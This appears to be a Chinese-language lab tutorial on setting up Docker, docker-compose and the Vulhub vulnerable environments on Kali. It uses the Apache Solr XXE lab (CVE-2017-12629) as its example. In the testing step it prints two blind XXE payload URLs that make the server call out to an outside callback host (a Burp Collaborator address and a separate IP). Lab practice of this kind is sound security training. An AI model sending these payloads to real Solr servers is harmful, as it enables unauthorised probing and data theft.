更新Kali源
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["<https://nddt8zfh.mirror.aliyuncs.com>"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
{
"registry-mirrors":["<https://6kx4zyno.mirror.aliyuncs.com>"]
}
阿里雲鏡像
創建daemon.json文件,並將上面的鏡像復制粘貼進去
sudo vim /etc/docker/daemon.json2.2 重啟docker
systemctl daemon-reload
systemctl restart docker
可參考鏈接:https://www.cnblogs.com/kbhome/p/13041782.html
Docker vulhub 安裝
安裝位置:Kali
1.安裝Docker
apt install docker.io
2.docker啟動
systemctl start docker
(不報錯就沒問題)
(service docker start)
3.安裝docker-compose
apt-get install docker-compose
4.下載vulhub
git clone https://github.com/vulhub/vulhub.git
(這里我沒有下載完,直接把下好的壓縮包,丟到Kali就行了)
(容易斷開鏈接)(如果拉取速度太慢,可以直接下載master分支的壓縮包:https://github.com/vulhub/vulhub/archive/master.zip)
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip (下載壓縮包,名字為vulhub-master.zip)
unzip vulhub-master.zip(解壓)
cd vulhub-master
5.啟動漏洞環境
docker-compose會自動查找當前目錄下的配置文件(默認文件名為docker-compose.yml),並根據其內容編譯鏡像和啟動容器。所以, 要運行某個漏洞靶場,需要先進入該漏洞所在的目錄。 在Vulhub中選擇某個環境,進入對應目錄。如Apache solr XML 實體注入漏洞(CVE-2017-12629)
cd solr/CVE-2017-12629-XXE(進入solr/CVE-2017-12629-XXE目錄)
執行如下命令,進行漏洞靶場的編譯和運行:
docker-compose build (編譯環境)(可選)
docker-compose up -d (運行環境)
命令執行成功后,需要等待一會,之后訪問http://your-ip:8983/即可查看到Apache solr的管理頁面,無需登錄
6.漏洞測試
由於返回包中不包含我們傳入的XML中的信息,所以這是一個Blind XXE漏洞,我們發送如下數據包(自行修改其中的XXE Payload)
http://ip:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>% 0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22http%3A%2F% 2Frpk9704vdoy6k2tjm2951qv9208rwg.burpcollaborator.net%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot% 2F%3E&wt=xml&defType=xmlparser
http://192.168.93.131:8983/solr/demo/select?q={!xmlparser+v='<! DOCTYPE+a+SYSTEM+"http://192.168.18.170:8000">'}&wt=xml&wt=xml&defType=xmlparser
7.移除環境
Vulhub中所有環境均為漏洞靶場,在測試結束后,請及時關閉並移除環境,避免被他人惡意利用。 雖然靶場全部運行在Docker中,但大多數惡意軟件並不會因為運行在容器中就失去效果! 前面說了,docker-compose會默認根據當前目錄下的配置文件啟動容器,在關閉及移除環境的時候,也需要在對應目錄下。我們執行 docker-compose up -d后,不要離開當前目錄即可,漏洞測試結束后,執行如說下命令移除環境:
docker-compose down
上述命令會執行如下幾個動作:
關閉正在運行的容器
刪除所有相關容器
移除NAT(docker-compose在運行的時候會創建一個NAT網段)
但不會移除編譯好的漏洞鏡像,下次再執行docker-compose up -d命令,就不需要再次編譯相關鏡像了。